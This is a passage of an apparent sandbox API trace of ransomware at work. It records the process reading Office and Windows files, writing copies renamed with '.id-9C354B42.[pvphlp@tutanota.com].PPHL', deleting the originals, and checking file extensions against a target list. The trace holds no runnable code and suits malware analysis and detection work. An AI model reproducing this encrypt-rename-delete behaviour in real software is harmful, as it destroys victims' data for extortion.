lpNumberOfBytesWritten=0x2a3fc9c*=0x4130, lpOverlapped=0x0) returned 1 [0061.869] ReadFile (in: hFile=0x1d4, lpBuffer=0x3080020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesRead=0x2a3fed4*=0x0, lpOverlapped=0x0) returned 1 [0061.869] WriteFile (in: hFile=0x194, lpBuffer=0x3080020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesWritten=0x2a3fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0061.869] SetEndOfFile (hFile=0x194) returned 1 [0061.869] CloseHandle (hObject=0x194) returned 1 [0061.873] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.873] SetEndOfFile (hFile=0x1d4) returned 1 [0061.873] CloseHandle (hObject=0x1d4) returned 1 [0061.874] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x2020) returned 1 [0061.874] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0061.874] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.874] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.874] lstrlenW (lpString=".doc") returned 4 [0061.874] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0061.874] lstrlenW (lpString=".docx") returned 5 [0061.874] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0061.874] lstrlenW (lpString=".pdf") returned 4 [0061.874] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0061.874] lstrlenW (lpString=".xls") returned 4 [0061.874] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0061.874] lstrlenW (lpString=".xlsx") returned 5 [0061.874] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0061.874] lstrlenW (lpString=".ppt") returned 4 [0061.874] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0061.874] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.875] lstrlenW (lpString=".zip") returned 4 [0061.875] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0061.875] lstrlenW (lpString=".rar") returned 4 [0061.875] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0061.875] lstrlenW (lpString=".bz2") returned 4 [0061.875] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0061.875] lstrlenW (lpString=".7z") returned 3 [0061.875] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0061.875] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.875] lstrlenW (lpString=".dbf") returned 4 [0061.875] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0061.875] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.875] lstrlenW (lpString=".1cd") returned 4 [0061.875] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0061.875] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.875] lstrlenW (lpString=".jpg") returned 4 [0061.875] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0061.875] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.875] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.875] lstrlenW (lpString=".doc") returned 4 [0061.875] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0061.875] lstrlenW (lpString=".docx") returned 5 [0061.875] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0061.875] lstrlenW (lpString=".pdf") returned 4 [0061.875] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0061.875] lstrlenW (lpString=".xls") returned 4 [0061.875] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0061.875] lstrlenW (lpString=".xlsx") returned 5 [0061.875] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0061.875] lstrlenW (lpString=".ppt") returned 4 [0061.875] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0061.875] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.875] lstrlenW (lpString=".zip") returned 4 [0061.875] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0061.875] lstrlenW (lpString=".rar") returned 4 [0061.876] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0061.876] lstrlenW (lpString=".bz2") returned 4 [0061.876] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0061.876] lstrlenW (lpString=".7z") returned 3 [0061.876] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0061.876] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.876] lstrlenW (lpString=".dbf") returned 4 [0061.876] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0061.876] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.876] lstrlenW (lpString=".1cd") returned 4 [0061.876] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0061.876] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.876] lstrlenW (lpString=".jpg") returned 4 [0061.876] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0061.876] lstrcmpiW (lpString1=".xml", lpString2=".PPHL") returned 1 [0061.876] lstrlenW (lpString="Office32WW.xml") returned 14 [0061.876] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0061.880] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x2a3ff1c | out: lpFileSize=0x2a3ff1c*=4274) returned 1 [0061.880] CloseHandle (hObject=0x1d4) returned 1 [0061.880] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 0x2020 [0061.880] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0061.880] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0061.880] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.880] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.880] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0061.881] GetLastError () returned 0x0 [0061.881] ReadFile (in: hFile=0x1d4, lpBuffer=0x3080020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesRead=0x2a3fed4*=0x10b2, lpOverlapped=0x0) returned 1 [0062.349] WriteFile (in: hFile=0x194, lpBuffer=0x3080020*, nNumberOfBytesToWrite=0x10c0, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesWritten=0x2a3fc9c*=0x10c0, lpOverlapped=0x0) returned 1 [0062.353] ReadFile (in: hFile=0x1d4, lpBuffer=0x3080020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesRead=0x2a3fed4*=0x0, lpOverlapped=0x0) returned 1 [0062.353] WriteFile (in: hFile=0x194, lpBuffer=0x3080020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesWritten=0x2a3fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0062.353] SetEndOfFile (hFile=0x194) returned 1 [0062.353] CloseHandle (hObject=0x194) returned 1 [0062.358] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.358] SetEndOfFile (hFile=0x1d4) returned 1 [0062.359] CloseHandle (hObject=0x1d4) returned 1 [0062.359] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x2020) returned 1 [0062.360] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 1 [0062.360] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0062.360] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0062.360] lstrlenW (lpString=".doc") returned 4 [0062.360] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0062.360] lstrlenW (lpString=".docx") returned 5 [0062.360] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0062.361] lstrlenW (lpString=".pdf") returned 4 [0062.361] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0062.361] lstrlenW (lpString=".xls") returned 4 [0062.361] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0062.361] lstrlenW (lpString=".xlsx") returned 5 [0062.361] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0062.361] lstrlenW (lpString=".ppt") returned 4 [0062.361] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0062.361] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0062.361] lstrlenW (lpString=".zip") returned 4 [0062.361] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0062.361] lstrlenW (lpString=".rar") returned 4 [0062.361] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0062.361] lstrlenW (lpString=".bz2") returned 4 [0062.361] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0062.361] lstrlenW (lpString=".7z") returned 3 [0062.361] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0062.361] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0062.361] lstrlenW (lpString=".dbf") returned 4 [0062.361] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0062.361] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0062.361] lstrlenW (lpString=".1cd") returned 4 [0062.361] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0062.361] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0062.361] lstrlenW (lpString=".jpg") returned 4 [0062.361] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0062.361] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0062.362] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0062.362] lstrlenW (lpString=".doc") returned 4 [0062.362] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0062.362] lstrlenW (lpString=".docx") returned 5 [0062.362] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0062.362] lstrlenW (lpString=".pdf") returned 4 [0062.362] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0062.362] lstrlenW (lpString=".xls") returned 4 [0062.362] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0062.362] lstrlenW (lpString=".xlsx") returned 5 [0062.362] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0062.362] lstrlenW (lpString=".ppt") returned 4 [0062.362] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0062.362] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0062.362] lstrlenW (lpString=".zip") returned 4 [0062.362] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0062.362] lstrlenW (lpString=".rar") returned 4 [0062.362] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0062.362] lstrlenW (lpString=".bz2") returned 4 [0062.362] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0062.362] lstrlenW (lpString=".7z") returned 3 [0062.362] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0062.362] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0062.362] lstrlenW (lpString=".dbf") returned 4 [0062.362] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0062.362] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0062.362] lstrlenW (lpString=".1cd") returned 4 [0062.362] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0062.362] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0062.363] lstrlenW (lpString=".jpg") returned 4 [0062.363] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0062.363] lstrcmpiW (lpString1=".PNG", lpString2=".PPHL") returned -1 [0062.363] lstrlenW (lpString="MS.PNG") returned 6 [0062.363] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0064.601] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x2a3ff1c | out: lpFileSize=0x2a3ff1c*=1682) returned 1 [0064.601] CloseHandle (hObject=0x198) returned 1 [0064.601] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png")) returned 0x20 [0064.609] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0064.609] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0064.609] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0064.609] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0064.609] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0064.610] GetLastError () returned 0x0 [0064.610] ReadFile (in: hFile=0x198, lpBuffer=0x3080020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesRead=0x2a3fed4*=0x692, lpOverlapped=0x0) returned 1 [0064.680] WriteFile (in: hFile=0x1e0, lpBuffer=0x3080020*, nNumberOfBytesToWrite=0x6a0, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesWritten=0x2a3fc9c*=0x6a0, lpOverlapped=0x0) returned 1 [0065.347] ReadFile (in: hFile=0x198, lpBuffer=0x3080020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesRead=0x2a3fed4*=0x0, lpOverlapped=0x0) returned 1 [0065.349] WriteFile (in: hFile=0x1e0, lpBuffer=0x3080020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesWritten=0x2a3fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0065.349] SetEndOfFile (hFile=0x1e0) returned 1 [0065.350] CloseHandle (hObject=0x1e0) returned 1 [0065.350] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0065.351] SetEndOfFile (hFile=0x198) returned 1 [0065.351] CloseHandle (hObject=0x198) returned 1 [0065.351] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x20) returned 1 [0065.352] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png")) returned 1 [0065.352] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0065.352] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0065.352] lstrlenW (lpString=".doc") returned 4 [0065.352] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0065.352] lstrlenW (lpString=".docx") returned 5 [0065.352] lstrcmpiW (lpString1=".docx", lpString2="S.PNG") returned -1 [0065.352] lstrlenW (lpString=".pdf") returned 4 [0065.352] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0065.352] lstrlenW (lpString=".xls") returned 4 [0065.352] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0065.352] lstrlenW (lpString=".xlsx") returned 5 [0065.352] lstrcmpiW (lpString1=".xlsx", lpString2="S.PNG") returned -1 [0065.352] lstrlenW (lpString=".ppt") returned 4 [0065.352] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0065.352] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0065.352] lstrlenW (lpString=".zip") returned 4 [0065.352] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0065.352] lstrlenW (lpString=".rar") returned 4 [0065.352] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0065.352] lstrlenW (lpString=".bz2") returned 4 [0065.352] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0065.352] lstrlenW (lpString=".7z") returned 3 [0065.352] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0065.353] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0065.353] lstrlenW (lpString=".dbf") returned 4 [0065.353] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0065.353] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0065.353] lstrlenW (lpString=".1cd") returned 4 [0065.353] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0065.353] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0065.353] lstrlenW (lpString=".jpg") returned 4 [0065.353] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0065.353] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0065.353] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0065.353] lstrlenW (lpString=".doc") returned 4 [0065.353] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0065.353] lstrlenW (lpString=".docx") returned 5 [0065.353] lstrcmpiW (lpString1=".docx", lpString2="S.PNG") returned -1 [0065.353] lstrlenW (lpString=".pdf") returned 4 [0065.353] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0065.353] lstrlenW (lpString=".xls") returned 4 [0065.353] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0065.353] lstrlenW (lpString=".xlsx") returned 5 [0065.353] lstrcmpiW (lpString1=".xlsx", lpString2="S.PNG") returned -1 [0065.353] lstrlenW (lpString=".ppt") returned 4 [0065.353] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0065.353] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0065.353] lstrlenW (lpString=".zip") returned 4 [0065.353] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0065.353] lstrlenW (lpString=".rar") returned 4 [0065.353] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0065.353] lstrlenW (lpString=".bz2") returned 4 [0065.353] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0065.353] lstrlenW (lpString=".7z") returned 3 [0065.353] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0065.353] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0065.354] lstrlenW (lpString=".dbf") returned 4 [0065.354] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0065.354] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0065.354] lstrlenW (lpString=".1cd") returned 4 [0065.354] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0065.354] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0065.354] lstrlenW (lpString=".jpg") returned 4 [0065.354] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0065.354] lstrcmpiW (lpString1=".xml", lpString2=".PPHL") returned 1 [0065.354] lstrlenW (lpString="zh-changjei.xml") returned 15 [0065.354] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0066.818] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2a3ff1c | out: lpFileSize=0x2a3ff1c*=9803) returned 1 [0066.818] CloseHandle (hObject=0x1e8) returned 1 [0066.818] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml")) returned 0x20 [0066.818] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0066.818] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.818] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 85 [0066.819] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 85 [0066.819] lstrlenW (lpString=".doc") returned 4 [0066.819] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0066.819] lstrlenW (lpString=".docx") returned 5 [0066.819] lstrcmpiW (lpString1=".docx", lpString2="i.xml") returned -1 [0066.819] lstrlenW (lpString=".pdf") returned 4 [0066.819] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0066.819] lstrlenW (lpString=".xls") returned 4 [0066.819] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0066.819] lstrlenW (lpString=".xlsx") returned 5 [0066.819] lstrcmpiW (lpString1=".xlsx", lpString2="i.xml") returned -1 [0066.819] lstrlenW (lpString=".ppt") returned 4 [0066.819] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0066.819] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 85 [0066.819] lstrlenW (lpString=".zip") returned 4 [0066.819] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0066.819] lstrlenW (lpString=".rar") returned 4 [0066.819] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0066.819] lstrlenW (lpString=".bz2") returned 4 [0066.819] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0066.819] 